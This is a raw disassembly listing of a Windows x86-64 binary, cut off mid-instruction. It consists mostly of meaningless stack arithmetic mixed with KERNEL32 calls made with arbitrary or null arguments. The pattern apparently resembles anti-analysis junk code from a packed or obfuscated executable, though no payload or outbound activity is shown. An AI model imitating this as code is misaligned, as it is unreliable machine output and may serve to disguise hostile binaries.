mov rax, qword [rsp + 0x163f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14520]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x181], al
mov rax, qword [rsp + 0x134f0]
mov ecx, dword [rsp + 0x73a0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x163d8]
mov dword [rcx], eax
mov dword [rsp + 0x4d530], 0x11c
mov eax, dword [0x140369b78]
mov dword [rsp + 0xa5b0], eax
mov rax, qword [rsp + 0x14a80]
mov ecx, dword [rsp + 0x9768]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x157a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3c0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x56d4], eax
mov rax, qword [rsp + 0x152b8]
mov eax, dword [rax]
mov ecx, dword [0x1403624ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9070], eax
mov rax, qword [rsp + 0x15bf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x136e0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15190]
mov word [rcx], ax
mov rax, qword [0x14036a2e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7d2]
add eax, ecx
mov byte [0x1403525ff], al
lea rax, [rsp + 0x7254]
mov qword [rsp + 0x167e8], rax
mov eax, dword [rsp + 0x9f7c]
mov ecx, dword [rsp + 0x9a6c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c7c], eax
mov eax, dword [0x14036249c]
mov dword [rsp + 0xa5b4], eax
mov rax, qword [rsp + 0x13a00]
mov rcx, qword [rsp + 0x15f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14d38]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x768]
movzx ecx, byte [rsp + 0x2b8]
add eax, ecx
mov rcx, qword [rsp + 0x15cd8]
mov byte [rcx], al
lea rax, [0x14036a1a0]
mov qword [rsp + 0x167f0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa0ac], eax
movsx eax, word [rsp + 0x2dec]
mov rcx, qword [rsp + 0x14a88]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c58], ax
mov rax, qword [rsp + 0x16188]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x16230]
movsx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x253], al
mov rax, qword [0x14036a218]
mov eax, dword [rax]
mov dword [0x14036a4b4], eax
mov rax, qword [rsp + 0x15bc8]
mov ecx, dword [rsp + 0x8ac4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x15f20]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2df8]
mov rcx, qword [rsp + 0x14f50]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x178c], ax
lea rax, [rsp + 0x1f7]
mov qword [rsp + 0x167f8], rax
mov eax, dword [rsp + 0x8cfc]
movzx ecx, al
mov eax, dword [rsp + 0xa390]
shl eax, cl
mov dword [rsp + 0x7330], eax
lea rdx, [rsp + 0x43640]
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa524], eax
mov rax, qword [rsp + 0x148d0]
mov eax, dword [rax]
mov dword [rsp + 0xa5b8], eax
mov eax, dword [rsp + 0x9d60]
mov rcx, qword [0x140369eb0]
mov qword [rsp + 0x16800], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16800]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x14850]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13da8]
mov eax, dword [rax]
mov dword [rsp + 0xa5bc], eax
movzx eax, word [rsp + 0x2c08]
movzx ecx, word [rsp + 0x2bac]
and eax, ecx
mov rcx, qword [rsp + 0x14930]
mov word [rcx], ax
movzx eax, byte [rsp + 0x737]
mov rcx, qword [rsp + 0x155f8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140363f5e], al
mov rax, qword [rsp + 0x16750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a50]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14b90]
mov dword [rcx], eax
mov rax, qword [0x14036a230]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa11c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8ec8], eax
mov rax, qword [rsp + 0x13660]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d54]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13d20]
mov dword [rcx], eax
lea rax, [rsp + 0x9fcc]
mov qword [rsp + 0x16808], rax
mov rax, qword [rsp + 0x13cb8]
mov ecx, dword [0x140369fe4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa074], eax
mov rax, qword [rsp + 0x13c38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1648]
sub eax, ecx
mov rcx, qword [rsp + 0x15cb8]
mov word [rcx], ax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4bd90]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa44c], eax
mov rax, qword [rsp + 0x14a10]
movzx eax, byte [rax]
mov byte [rsp + 0x7dd], al
mov rax, qword [0x14036a348]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13a20]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14f38]
mov byte [rcx], al
movzx eax, word [rsp + 0x2da0]
movzx ecx, word [rsp + 0x1168]
add eax, ecx
mov rcx, qword [0x14036a0f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x14198]
mov ecx, dword [rsp + 0x9db4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8ef8], eax
mov edx, 0x1a33
mov rcx, qword [rsp + 0x15628]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9ff4], eax
mov eax, dword [rsp + 0x9bcc]
mov ecx, dword [rsp + 0x9a94]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13418]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x79a]
movzx ecx, byte [rsp + 0x37f]
sub eax, ecx
mov rcx, qword [rsp + 0x13710]
mov byte [rcx], al
mov rax, qword [rsp + 0x16258]
movzx eax, word [rax]
mov word [rsp + 0x2e64], ax
mov rax, qword [rsp + 0x167c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x752c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15e10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x16388]
mov eax, dword [rax]
mov dword [rsp + 0xa5c0], eax
lea rdx, [rsp + 0x428e8]
mov rcx, qword [rsp + 0x12de8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa46c], eax
mov eax, dword [rsp + 0x9b3c]
mov rcx, qword [rsp + 0x16698]
mov qword [rsp + 0x16810], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16810]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x12df0]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x3008
mov r9d, 0x33e6
mov r8d, 0x2c03
mov edx, 0x165
mov rcx, qword [rsp + 0x14470]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xa5c4], eax
lea rax, [rsp + 0xa3c4]
mov qword [rsp + 0x16818], rax
lea rax, [rsp + 0x787]
mov qword [0x14036a4b8], rax
mov rax, qword [rsp + 0x13578]
movzx eax, word [rax]
movzx ecx, word [0x140369df8]
cdq
idiv ecx
mov word [rsp + 0x2d08], ax
mov eax, dword [rsp + 0xa38c]
movzx ecx, al
mov eax, dword [rsp + 0x9010]
shl eax, cl
mov rcx, qword [rsp + 0x14388]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13b38]
mov ecx, dword [rsp + 0xa3f8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8b9c], eax
movsx eax, byte [0x1403525fb]
mov rcx, qword [rsp + 0x160d0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15530]
mov byte [rcx], al
movzx eax, word [rsp + 0x26e0]
mov word [rsp + 0x2e68], ax
mov rax, qword [rsp + 0x13990]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15c90]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15a28]
mov byte [rcx], al
mov rax, qword [rsp + 0x152c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bb8]
add eax, ecx
mov word [rsp + 0x1f4c], ax
lea rax, [rsp + 0x9f54]
mov qword [rsp + 0x16820], rax
mov rax, qword [rsp + 0x14998]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c8c]
or ecx, eax
mov eax, ecx
mov dword [0x14036257c], eax
mov rax, qword [0x140369c58]
mov ecx, dword [rsp + 0xa16c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14038]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15960]
mov rcx, qword [rsp + 0x15410]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6538], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov rax, qword [0x14036a2d0]
mov rcx, qword [rsp + 0x16158]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9e4c], eax
movzx eax, byte [rsp + 0x56f]
mov rcx, qword [rsp + 0x134c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x769], al
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4c9f0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9dc0], eax
mov rax, qword [rsp + 0x12f18]
movzx eax, word [rax]
mov word [rsp + 0x2e6c], ax
mov rax, qword [0x140369e70]
mov ecx, dword [rsp + 0xa36c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14178]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9f60]
mov dword [rsp + 0xa5c8], eax
mov rax, qword [rsp + 0x142f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14118]
mov qword [rsp + 0x16828], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16828]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x15c98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5dc0]
mov ecx, dword [0x140369ea0]
xor ecx, eax
mov eax, ecx
mov dword [0x14036a00c], eax
movzx eax, byte [rsp + 0x77c]
mov rcx, qword [rsp + 0x14de8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x18b], al
mov rcx, qword [rsp + 0x14810]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa5cc], eax
lea rax, [rsp + 0x1454]
mov qword [rsp + 0x16830], rax
mov rax, qword [0x140369cf8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27a4]
or eax, ecx
mov rcx, qword [rsp + 0x13268]
mov word [rcx], ax
lea rax, [rsp + 0x559]
mov qword [rsp + 0x16838], rax
mov rax, qword [rsp + 0x13b90]
mov rcx, qword [0x14036a1e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5260], eax
lea rax, [rsp + 0x63d4]
mov qword [rsp + 0x16840], rax
mov rax, qword [rsp + 0x15d10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15828]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c84], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa068], eax
mov rax, qword [rsp + 0x162c8]
movzx eax, byte [rax]
movzx ecx, byte [0x140363f87]
add eax, ecx
mov byte [rsp + 0x7b2], al
mov eax, dword [rsp + 0xa5c0]
mov ecx, dword [rsp + 0xa008]
and ecx, eax
mov eax, ecx
mov dword [0x1403624d0], eax
mov eax, dword [rsp + 0x636c]
mov ecx, dword [rsp + 0x9070]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7880], eax
mov rax, qword [rsp + 0x13b98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e1c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c10], eax
lea rax, [rsp + 0x9a84]
mov qword [rsp + 0x16848], rax
mov rax, qword [rsp + 0x15f68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14f50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2cd4], ax
movzx eax, byte [0x140363fa5]
mov rcx, qword [rsp + 0x16280]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x737], al
lea rax, [rsp + 0x5c28]
mov qword [rsp + 0x16850], rax
mov rax, qword [rsp + 0x151e8]
mov ecx, dword [rsp + 0x6278]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9cac], eax
mov dword [rsp + 0x20], 0x272e
mov r9d, 0x1af1
mov r8d, 0x4f9
mov edx, 0x2372
mov rcx, qword [rsp + 0x13798]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xa488], eax
mov rax, qword [0x14036a218]
mov eax, dword [rax]
mov dword [rsp + 0xa5d0], eax
mov rax, qword [rsp + 0x15098]
mov eax, dword [rax]
mov dword [0x14036a4c0], eax
mov eax, dword [rsp + 0x7c50]
mov ecx, dword [rsp + 0x9990]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5514], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa5d4], eax
mov rax, qword [0x140369bf0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c8]
sar eax, cl
mov rcx, qword [rsp + 0x13188]
mov byte [rcx], al
lea rdx, [rsp + 0x42ae0]
mov rcx, qword [rsp + 0x166f8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa1cc], eax
lea rax, [rsp + 0x2094]
mov qword [rsp + 0x16858], rax
mov rax, qword [rsp + 0x16148]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x161]
cdq
idiv ecx
mov rcx, qword [rsp + 0x132c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x14f50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e6c]
xor eax, ecx
mov word [rsp + 0x2874], ax
mov eax, dword [rsp + 0xa4f4]
movzx ecx, al
mov eax, dword [rsp + 0x9b70]
shl eax, cl
mov dword [rsp + 0x9a80], eax
mov rax, qword [rsp + 0x16240]
mov ecx, dword [rsp + 0x95e8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9ccc], eax
lea rax, [rsp + 0x2bec]
mov qword [rsp + 0x16860], rax
mov rax, qword [rsp + 0x12e08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13460]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [0x140363f1f], al
mov rax, qword [rsp + 0x16270]
mov ecx, dword [rsp + 0x8cac]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13ff8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15f60]
mov eax, dword [rax]
mov dword [rsp + 0xa5d8], eax
mov rax, qword [rsp + 0x16808]
mov rcx, qword [rsp + 0x13e20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14f90]
mov dword [rcx], eax
lea rax, [0x14036a2f0]
mov qword [rsp + 0x16868], rax
movzx eax, word [rsp + 0x2234]
movzx ecx, word [rsp + 0x17fc]
sub eax, ecx
mov rcx, qword [rsp + 0x15c00]
mov word [rcx], ax
mov rax, qword [rsp + 0x166d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13d80]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14f68]
mov byte [rcx], al
mov rax, qword [rsp + 0x13cf8]
mov rcx, qword [rsp + 0x15de8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8dc8], eax
mov eax, dword [rsp + 0xa074]
mov ecx, dword [rsp + 0x9e88]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14968]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144b0]
movzx eax, byte [rax]
mov byte [0x14036400e], al
mov rax, qword [0x14036a2a0]
movzx eax, word [rax]
mov word [rsp + 0x2e70], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a98], eax
movzx eax, word [rsp + 0x2d4c]
movzx ecx, word [rsp + 0x17fc]
or eax, ecx
mov rcx, qword [rsp + 0x16380]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x16870], rax
lea rdx, [rsp + 0x42ae0]
mov rcx, qword [rsp + 0x14c58]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa384], eax
mov rax, qword [rsp + 0x140c0]
movzx eax, byte [rax]
imul eax, eax, 0x16
mov rcx, qword [rsp + 0x14ac0]
mov byte [rcx], al
mov rax, qword [0x14036a3a0]
mov eax, dword [rax]
mov dword [rsp + 0xa5dc], eax
mov rax, qword [rsp + 0x15ac8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9efc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14480]
mov dword [rcx], eax
mov rax, qword [rsp + 0x165c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9848]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9594], eax
mov rax, qword [rsp + 0x156a0]
mov rcx, qword [rsp + 0x15278]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9ef4], eax
mov rax, qword [rsp + 0x14b28]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x144e0]
mov qword [rsp + 0x16878], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16878]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x16650]
mov dword [rcx], eax
lea rax, [rsp + 0xec]
mov qword [rsp + 0x16880], rax
movzx eax, word [rsp + 0x2ca0]
mov rcx, qword [rsp + 0x162a0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [0x14036a1a4], ax
mov rax, qword [rsp + 0x145c8]
mov rcx, qword [rsp + 0x13d60]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9d90], eax
lea rax, [0x140362464]
mov qword [rsp + 0x16888], rax
mov rax, qword [rsp + 0x14248]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x151a8]
mov qword [rsp + 0x16890], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16890]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x636c], eax
lea rax, [rsp + 0x747c]
mov qword [rsp + 0x16898], rax
mov rax, qword [rsp + 0x15828]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16f0]
or eax, ecx
mov word [rsp + 0x1764], ax
movzx eax, byte [rsp + 0x7b9]
movzx ecx, byte [rsp + 0x3da]
and eax, ecx
mov byte [rsp + 0x7a1], al
movzx eax, word [rsp + 0x2ca8]
mov word [rsp + 0x2e74], ax
movsx eax, byte [0x14036400d]
mov rcx, qword [rsp + 0x160d0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x796], al
mov rax, qword [rsp + 0x13c50]
mov ecx, dword [rsp + 0xa4c8]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140362580], eax
mov eax, dword [0x140369fe4]
mov ecx, dword [rsp + 0x5f70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5a08], eax
mov edx, 0x6ab
mov rcx, qword [rsp + 0x14140]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa5e0], eax
mov rax, qword [rsp + 0x13278]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x165e8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14cf0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13b20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13e18]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13dd0]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov eax, dword [rsp + 0x691c]
mov dword [rsp + 0xa5e4], eax
mov rax, qword [rsp + 0x15360]
mov rcx, qword [rsp + 0x161a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x15810]
mov dword [rcx], eax
lea rax, [rsp + 0xa20c]
mov qword [rsp + 0x168a0], rax
mov rax, qword [rsp + 0x16300]
mov rcx, qword [rsp + 0x14840]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14c20]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2d54]
movzx ecx, word [rsp + 0x25a0]
imul eax, ecx
mov rcx, qword [rsp + 0x138e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7b0]
movzx ecx, byte [0x140363fef]
add eax, ecx
mov rcx, qword [0x14036a330]
mov byte [rcx], al
lea rax, [rsp + 0x9354]
mov qword [rsp + 0x168a8], rax
mov rax, qword [rsp + 0x13f58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b28]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c48]
mov dword [rcx], eax
lea rax, [rsp + 0xa4e4]
mov qword [rsp + 0x168b0], rax
mov eax, dword [rsp + 0x9c34]
mov rcx, qword [rsp + 0x161b0]
mov qword [rsp + 0x168b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x168b8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9bf4], eax
mov eax, dword [rsp + 0x9f74]
movzx ecx, al
mov eax, dword [rsp + 0xa258]
sar eax, cl
mov rcx, qword [rsp + 0x13938]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x7c6]
mov byte [rsp + 0x7de], al
movsx eax, word [rsp + 0x2dcc]
mov rcx, qword [rsp + 0x13230]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x18c4], ax
mov rax, qword [rsp + 0x15bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e6c]
add eax, ecx
mov word [rsp + 0x2508], ax
movzx eax, byte [rsp + 0x7d1]
mov byte [0x14036400f], al
mov eax, dword [rsp + 0x6080]
mov ecx, dword [rsp + 0xa3e8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14b90]
mov dword [rcx], eax
lea rax, [rsp + 0xa294]
mov qword [rsp + 0x168c0], rax
movzx eax, byte [rsp + 0x758]
movzx ecx, byte [rsp + 0x229]
sub eax, ecx
mov rcx, qword [rsp + 0x14d48]
mov byte [rcx], al
movzx eax, word [rsp + 0x1ed8]
movzx ecx, word [rsp + 0x2e64]
and eax, ecx
mov word [rsp + 0x2e10], ax
lea rax, [rsp + 0x6a84]
mov qword [rsp + 0x168c8], rax
mov rax, qword [rsp + 0x15998]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa570], eax
mov eax, dword [rsp + 0xa194]
mov dword [rsp + 0xa5e8], eax
mov edx, 0x1de7
mov rcx, qword [rsp + 0x12be0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9a08], eax
mov eax, dword [rsp + 0x9e78]
mov ecx, dword [rsp + 0xa150]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9184], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
movzx eax, word [rsp + 0x1878]
mov rcx, qword [0x14036a1c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140362584], ax
mov rax, qword [rsp + 0x15b00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7b0]
sub eax, ecx
mov rcx, qword [rsp + 0x151c8]
mov byte [rcx], al
lea rax, [rsp + 0x820c]
mov qword [rsp + 0x168d0], rax
mov rax, qword [0x140369d60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa420]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa0ec], eax
lea rax, [rsp + 0x749]
mov qword [rsp + 0x168d8], rax
movsx eax, word [rsp + 0x1bf0]
movsx ecx, word [rsp + 0x17f8]
or eax, ecx
mov word [rsp + 0x2c9c], ax
movzx eax, word [rsp + 0x2c3c]
movzx ecx, word [rsp + 0x2afc]
shl eax, cl
mov rcx, qword [rsp + 0x14d80]
mov word [rcx], ax
movzx eax, byte [rsp + 0x77c]
movzx ecx, byte [rsp + 0x6c0]
sar eax, cl
mov byte [rsp + 0x599], al
mov rax, qword [rsp + 0x142d0]
mov ecx, dword [rsp + 0xa0cc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x14698]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa594]
mov ecx, dword [rsp + 0x9888]
and ecx, eax
mov eax, ecx
mov dword [0x14036a1f8], eax
lea rax, [rsp + 0x9b60]
mov qword [rsp + 0x168e0], rax
mov rax, qword [rsp + 0x15ac8]
mov ecx, dword [rsp + 0xa534]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9f4c], eax
mov rax, qword [rsp + 0x151e8]
mov eax, dword [rax]
mov dword [rsp + 0xa5ec], eax
mov rax, qword [rsp + 0x13d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ba4]
sub eax, ecx
mov word [rsp + 0x2af0], ax
mov rax, qword [rsp + 0x160e0]
movzx eax, byte [rax]
imul eax, eax, 0xee
mov byte [rsp + 0x787], al
mov eax, dword [rsp + 0x8614]
mov dword [rsp + 0xa5f0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x168e8], rax
mov rax, qword [rsp + 0x142b8]
mov ecx, dword [rsp + 0x8180]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x145e0]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
lea rax, [rsp + 0x9cf0]
mov qword [rsp + 0x168f0], rax
lea rax, [rsp + 0xa048]
mov qword [0x14036a4c8], rax
mov rax, qword [rsp + 0x15050]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15088]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x153f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x112]
mov rcx, qword [0x140369f90]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x37b], al
lea rax, [rsp + 0x11d8]
mov qword [rsp + 0x168f8], rax
movsx eax, byte [rsp + 0x79f]
mov rcx, qword [rsp + 0x162f0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x743], al
mov rax, qword [rsp + 0x13418]
mov ecx, dword [rsp + 0x6a74]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5978], eax
mov eax, dword [rsp + 0x9a88]
mov ecx, dword [rsp + 0xa460]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15a88]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x2060
mov r9d, 0x4aa
mov r8d, 0x250d
mov edx, 0x9db
mov rcx, qword [rsp + 0x14fc8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa0f8], eax
movzx eax, byte [rsp + 0x76b]
movzx ecx, byte [rsp + 0x3a7]
sub eax, ecx
mov rcx, qword [rsp + 0x13340]
mov byte [rcx], al
lea rax, [rsp + 0x2e18]
mov qword [rsp + 0x16900], rax
mov eax, dword [rsp + 0xa0a8]
mov ecx, dword [rsp + 0xa114]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14036a3a0]
mov dword [rcx], eax
mov dword [rsp + 0x4d650], 0x11c
mov eax, dword [rsp + 0x56d4]
mov ecx, dword [rsp + 0x9cf0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ccc], eax
lea rax, [0x140369f28]
mov qword [rsp + 0x16908], rax
mov rcx, qword [rsp + 0x15bc0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9f08], eax
mov rax, qword [rsp + 0x15a70]
mov rcx, qword [rsp + 0x133a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9d28], eax
mov rax, qword [rsp + 0x15358]
movzx eax, byte [rax]
movzx ecx, byte [0x140363ffe]
cdq
idiv ecx
mov byte [rsp + 0x432], al
lea rax, [rsp + 0x2d5c]
mov qword [rsp + 0x16910], rax
mov rax, qword [rsp + 0x16660]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14360]
mov qword [rsp + 0x16918], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16918]
